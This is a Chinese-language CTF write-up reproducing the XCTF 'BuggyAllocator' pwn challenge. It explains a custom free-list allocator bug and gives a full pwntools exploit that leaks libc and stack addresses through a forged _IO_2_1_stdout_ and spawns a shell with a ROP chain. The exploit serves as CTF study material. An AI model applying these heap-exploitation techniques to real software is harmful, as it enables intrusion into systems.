nyyyddddn

xctf_BuggyAllocator复现

2024/05/30

xctf_BuggyAllocator复现

程序有 alloc 和dealloc两个选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 menu()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v2; // rax

v0 = std::operator<<<std::char_traits<char>>(&std::cout, "*** Buggy Allocator***");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "*** 1. Alloc ***");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "*** 2. Dealloc ***");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
return std::operator<<<std::char_traits<char>>(&std::cout, "> ");
}

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
sub_4019D7(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
menu();
std::istream::operator>>(&std::cin, &choice);
if ( choice != 1 )
break;
add();
}
if ( choice != 2 )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid Choice");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(0);
}
delete();
}
}

,其中alloc申请大于 0x80 会使用malloc函数分配内存(ptmalloc2),小于等于 0x80会使用自定义的堆管理器去分配内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
_QWORD *__fastcall alloc_memory(size_t size)
{
__int64 v2; // rax
_QWORD **v3; // [rsp+18h] [rbp-18h]
_QWORD *v4; // [rsp+20h] [rbp-10h]

if ( !size )
return 0LL;
if ( size > 0x80 )
return malloc_(size);
v3 = (_QWORD **)&free_list[get_idx(size)];
v4 = *v3;
if ( *v3 )
{
*v3 = (_QWORD *)*v4;
return v4;
}
else
{
v2 = Alignment_size(size);
return refill(v2);
}
}

自定义的堆管理器维护一个free_list,申请内存的时候,当free list中没有申请大小的堆块时,就会调用refill 填充空闲区域(arena_end - arena_start),填充完后free list中拿,当空闲区域不够refill的时候会判断free list中有没有更大的堆块可以进行refill,如果都不满足会调用malloc申请名称

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
_QWORD *__fastcall refill(unsigned __int64 size)
{
int nobjs; // [rsp+18h] [rbp-38h] BYREF
int i; // [rsp+1Ch] [rbp-34h]
_QWORD *current_obj; // [rsp+20h] [rbp-30h]
_QWORD *v5; // [rsp+28h] [rbp-28h]
_QWORD *my_free_list; // [rsp+30h] [rbp-20h]
_QWORD *v7; // [rsp+38h] [rbp-18h]
_QWORD *next_obj; // [rsp+40h] [rbp-10h]
unsigned __int64 v9; // [rsp+48h] [rbp-8h]

v9 = __readfsqword(0x28u);
nobjs = 20;
v5 = (_QWORD *)chunk_alloc(size, &nobjs);
if ( nobjs == 1 )
return v5;
my_free_list = &free_list[get_idx(size)];
v7 = v5;
current_obj = v5;
*my_free_list = (char *)v5 + size;
for ( i = 0; i != nobjs - 1; ++i )
{
next_obj = (_QWORD *)((char *)current_obj + size);
*current_obj = (char *)current_obj + size;
current_obj = next_obj;
}
return v7;
}

_QWORD *__fastcall chunk_alloc(unsigned __int64 size, int *nobjs)
{
unsigned __int64 idx; // rax
int i; // [rsp+14h] [rbp-3Ch]
unsigned __int64 all_size; // [rsp+18h] [rbp-38h]
unsigned __int64 available_size; // [rsp+20h] [rbp-30h]
_QWORD *arena_start_ptr; // [rsp+28h] [rbp-28h]
size_t v8; // [rsp+38h] [rbp-18h]
_QWORD **v9; // [rsp+40h] [rbp-10h]
_QWORD *v10; // [rsp+48h] [rbp-8h]

all_size = size * *nobjs;
available_size = arena_end - arena_start;
arena_start_ptr = (_QWORD *)arena_start;
if ( all_size > arena_end - arena_start )
{
if ( available_size < size )
{
if ( available_size )
{
arena_start = arena_end;
idx = get_idx(available_size);
*arena_start_ptr = free_list[idx];
free_list[idx] = arena_start_ptr;
}
v8 = 2 * all_size;
for ( i = size; i <= 128; i += 8 )
{
v9 = (_QWORD **)&free_list[get_idx(i)];
v10 = *v9;
if ( *v9 )
{
*v9 = (_QWORD *)*v10;
arena_start = (__int64)v10;
arena_end = (__int64)v10 + i;
return chunk_alloc(size, nobjs);
}
}
arena_end = 0LL;
arena_start = (__int64)malloc_(v8);
arena_end = arena_start + v8;
return chunk_alloc(size, nobjs);
}
else
{
*nobjs = available_size / size;
arena_start += size * *nobjs;
return arena_start_ptr;
}
}
else
{
arena_start += all_size;
return arena_start_ptr;
}
}

存在漏洞的地方是建立链表的时候不会将最后一个obj的next指针置空,可以通过堆块上残留的数据伪造一个指针破坏链表,实现任意地址分配

1
2
3
4
5
6
for ( i = 0; i != nobjs - 1; ++i )
{
next_obj = (_QWORD *)((char *)current_obj + size);
*current_obj = (char *)current_obj + size;
current_obj = next_obj;
}

利用的思路是,首先申请大量的堆块,使arena_end - arena_start尽可能的小,这样申请小块内存的时候,建立freelist,会优先从free list中的大堆块中建立,而不是从后面空闲内存那建立,利用大堆块中残留的数据伪造next指针破坏freelist实现任意地址写,写IO_2_1_stdout 通过puts的利用链将libc的地址泄露出来后,再通过environ泄露栈地址,最后写rop

关于puts函数泄露任意地址 IO_2_1_stdout利用链的分析

https://a1ex.online/2020/08/31/IO-FILE%E6%B3%84%E9%9C%B2libc%E5%9C%B0%E5%9D%80/

简单来说 当 write_ptr > write_base时 ,会将write_base这个地址中大小为 (write_ptr - write_base)的数据泄露出来,

其中flag要为特定值才能绕过前面几个cmp,write_end要小于等于 write_ptr

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

p = connect()

def alloc(idx,size,content):
p.sendlineafter('>','1')
p.sendlineafter('idx',str(idx))
p.sendlineafter('size',str(size))
p.sendafter('Content',content)

def dealloc(idx):
p.sendlineafter('>','2')
p.sendlineafter('idx',str(idx))



stdout_addr = 0x404040
alloc(0,0x80,b'A'*0x38+p64(stdout_addr)+b'A'*0x40)
alloc(1,0x80,b'A'*0x40+p64(0xDEADBEAF)+b'A'*0x38)

#清空0x80的freelist 使得 arena_end - arena_start < 0x38 这样申请内存就会从0x80的free list中切割然后拿了
for i in range(2,40):
alloc(i,0x80,'B'*0x80)

#释放一个0x80堆块用来建立0x38的freelist
dealloc(0)

#尝试分配0x38,由于对应freelist为空,在刚释放的0x80(0号)上建立链表并填充0x38的freelist
alloc(0,0x38,'C'*0x38)

#正常取出一个堆块
alloc(40,0x38,'C'*0x38)


#取出stdout, 使next chunk为 _p_2_1_stdout_
alloc(41,0x38,b'\x80') #覆盖stdout的低位,stdout低位原本就是 \x80

# pwndbg> p _p_2_1_stdout_
# $2 = {
# file = {
# _flags = -72542208, //0xfbad1800
# _io_read_ptr = 0x0,
# _io_read_end = 0x0,
# _io_read_base = 0x0,
# _io_write_base = 0x7ffff7dd2600 <_io_2_1_stderr_+192> 'A' <repeats 32 times>, //低字节修改成了00
# _io_write_ptr = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n",
# _io_write_end = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n",
# _io_buf_base = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n",
# _io_buf_end = 0x7ffff7dd26a4 <_io_2_1_stdout_+132> "",
# _io_save_base = 0x0,
# _io_backup_base = 0x0,
# _op_save_end = 0x0,
# _markers = 0x0,
# _chain = 0x7ffff7dd18e0 <_p_2_1_stdin_>,
# _fileno = 1,
# _flags2 = 0,
# _old_offset = -1,
# _cur_column = 0,
# _vtable_offset = 0 '\000',
# _shortbuf = "\n",
# _lock = 0x7ffff7dd3780 <_p_stdfile_1_lock>,
# _offset = -1,
# _codecvt = 0x0,
# _wide_data = 0x7ffff7dd17a0 <_p_wide_data_1>,
# _freeres_list = 0x0,
# _freeres_buf = 0x0,
# __pad5 = 0,
# _mode = -1,
# _unused2 = '\000' <repeats 19 times>
# },
# vtable = 0x7ffff7dd06e0 <_p_file_jumps>
# }

payload = flat([0xfbad1800,0,0,0,elf.got['free'],elf.got['free']+0x8,elf.got['free']]) #伪造_p_2_1_stdout_读取libc地址

# gdb.attach(p)
alloc(42,0x38,payload)


p.interactive()

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['free']
success(f"libc_base ->{hex(libc_base)}")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
environ_addr = libc_base+libc.sym['environ']
pop_rdi = libc_base + 0x2a3e5
ret = libc_base + 0x2a3e6

#释放再取回,伪造_p_2_1_stdout_泄露environ得到栈地址
dealloc(42)
payload = flat([0xfbad1800,0,0,0,environ_addr,environ_addr+8,environ_addr+8])
alloc(42,0x38,payload)


stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x140
success(f"stack_addr ->{hex(stack_addr)}")

#利用残留数据,布置任意地址写用的堆块
dealloc(1)
alloc(1,0x80,b'A'*0x40+p64(stack_addr)+b'A'*0x38)
dealloc(1)

#尝试分配0x40,由于对应freelist为空,在刚释放的0x80(1号)上建立链表并填充0x40的freelist
alloc(1,0x40,'C'*0x40)

alloc(43,0x40,'C'*0x40)

payload = p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
alloc(44,0x40,payload)

p.interactive()
CATALOG
  1. 1. xctf_BuggyAllocator复现